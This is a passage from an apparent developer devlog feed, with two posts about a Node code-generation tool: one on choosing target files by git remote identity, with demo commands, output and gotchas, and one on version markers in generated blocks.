&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { selectTargets, repoIdentity, targetPath } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./select.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; targets &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;./targets.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; root &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.argv[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`checkout ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  identity        : ${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;repoIdentity&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;(no remote)&apos;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  present on disk : ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;targets&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; existsSync&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;targetPath&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;))).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; t&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;(none)&apos;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`  selected        : ${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;selectTargets&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;targets&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; t&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;(none)&apos;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Build three checkouts: two real repositories with remotes, and one directory that is nobody:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; repos/example.io&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; repos/budget&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; repos/nowhere&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; example.io&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; budget&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;repos/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; init&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; remote&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; add&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; origin&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;git@github.com:demo/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.git&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;# &lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; README.md&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; repos/example.io/src&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;:root{}&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; repos/example.io/src/theme.css&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;# scratch&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; repos/nowhere/README.md&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; example.io&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; budget&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; nowhere&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; run.mjs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;repos/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;checkout repos/example.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  identity        : example.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  present on disk : site-readme, budget-readme, site-theme&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selected        : site-readme, site-theme&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;checkout repos/budget&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  identity        : budget&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  present on disk : site-readme, budget-readme&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selected        : budget-readme&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;checkout repos/nowhere&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  identity        : (no remote)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  present on disk : site-readme, budget-readme&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selected        : site-readme, budget-readme&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;present on disk&lt;/code&gt; line is the bug, printed. Inside &lt;code&gt;budget&lt;/code&gt;, presence claims the other site’s README target belongs there, and a generator acting on that would overwrite &lt;code&gt;budget&lt;/code&gt;’s README with the other repository’s content, with a perfectly clean exit code. The &lt;code&gt;selected&lt;/code&gt; line is the fix. And &lt;code&gt;nowhere&lt;/code&gt; shows the fallback: no remote, so presence decides, which keeps tests in temp directories working.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A selection bug is silent by construction.&lt;/strong&gt; Selecting the wrong target does not throw; it produces a confident write or a confident “all clean” against a file that was never yours. Symptom: none, until content appears in a repository that never asked for it. Escape: make the tool print what it selected on every run, and diff that list when the registry grows.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A resolver that matches nothing reports success.&lt;/strong&gt; The opposite failure is worse and more common: tighten the matching, select zero targets, and every check passes over an empty set. Symptom: a green run that takes no time and mentions no files. Escape: assert a floor. If the registry declares nine targets that should resolve in this checkout and the resolver returns two, fail rather than pass.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Repository name alone is not a globally unique identity.&lt;/strong&gt; A fork, a rename, or two organizations with the same repo name will all satisfy a last-segment match. Symptom: correct behaviour everywhere you tested, wrong behaviour in someone’s fork. Escape: match &lt;code&gt;owner/name&lt;/code&gt; when you have it, and keep the bare name only as the fallback.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Shelling out with string interpolation is how a path becomes a command.&lt;/strong&gt; &lt;code&gt;exec(&amp;quot;git -C &amp;quot; + root + &amp;quot; config ...&amp;quot;)&lt;/code&gt; works fine until a path contains a space or a semicolon. Escape: &lt;code&gt;execFileSync&lt;/code&gt; with an argument array, and &lt;code&gt;stdio: [&apos;ignore&apos;,&apos;pipe&apos;,&apos;ignore&apos;]&lt;/code&gt; so a missing key does not print noise to the user’s terminal.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not freeze the release version into a golden file.&lt;/strong&gt; This release also moved the generator’s golden fixtures to a fixed placeholder version, because a golden that contains the real release number is rewritten by every release, and a drift detector that changes on every release is noise. Symptom: your “nothing changed” test changes on every version bump. Escape: pin the shape with a constant placeholder, and test version substitution separately.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nodejs.org/api/child_process.html&quot;&gt;Node.js child_process&lt;/a&gt; — &lt;code&gt;execFile&lt;/code&gt; does not spawn a shell, and the shell injection warning that applies to &lt;code&gt;exec&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git-scm.com/docs/git-config&quot;&gt;git-config&lt;/a&gt; — &lt;code&gt;remote.&amp;lt;name&amp;gt;.url&lt;/code&gt;, and &lt;code&gt;--get&lt;/code&gt; returning exit code 1 when the key is absent.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/get-started/git-basics/about-remote-repositories&quot;&gt;About remote repositories&lt;/a&gt; — the HTTPS and SSH remote URL forms the parser has to handle.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(press): README version line + propagate to dev AND main (0.7.0) (#133) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/45bf2d9ad351f782cad824b002e64b1deed005eb&quot;&gt;45bf2d9&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.7.0.png" length="33161" type="image/png"/></item><item><title>One dependency showing three version numbers, all of them correct</title><link>https://natejswenson.com/devlog/press/v0.6.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.6.0/</guid><description>An update bot that only acts when the generated values change leaves every consumer carrying several disagreeing version numbers. Open a pull request every release instead, and put the difference between a real change and routine adoption in the title.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;0.6.0 changed one rule in a fan-out tool: it used to open a pull request only when the generated content actually differed, and now it opens one whenever anything differs, including the version alone. Before that change, a single consumer repository could show three version numbers at once. Its CI pin said 0.2.0, the marker inside its generated block said 0.1.0, and the current release was 0.5.1. All three were correct under the old rule, and there was no way to tell a healthy consumer from a neglected one without knowing that rule by heart.&lt;/p&gt;
&lt;p&gt;If you generate code into repositories you do not own, you are running a small package manager, and you inherit its hardest problem: making adoption state legible. This guide builds the classifier that makes it legible, in about sixty lines of Node, and it runs offline.&lt;/p&gt;
&lt;h2&gt;Setup: why there are three numbers at all&lt;/h2&gt;
&lt;p&gt;A generated block usually carries a receipt. The marker that opens it records which release of the generator wrote the bytes below, so anyone reading the file knows what produced it:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// region.mjs — a generated block that records the version that wrote it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; START&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (name, version) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  `/* &gt;&gt;&gt; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} GENERATED, do not edit */`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; END&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (name) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `/* &amp;#x3C;&amp;#x3C;&amp;#x3C; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} */`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; renderRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name, version, body) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;START&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name, version), body, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;END&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name)].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/** Find the region and read back both its body and the version that wrote it. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(file, name) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegExp&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `/&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;* &gt;&gt;&gt; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} v([0-9.]+) [^*]*&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;*/&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;n([&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;S]*?)&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;n/&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;* &amp;#x3C;&amp;#x3C;&amp;#x3C; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;*/`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(file);&lt;/span&gt;&lt;/span&gt;
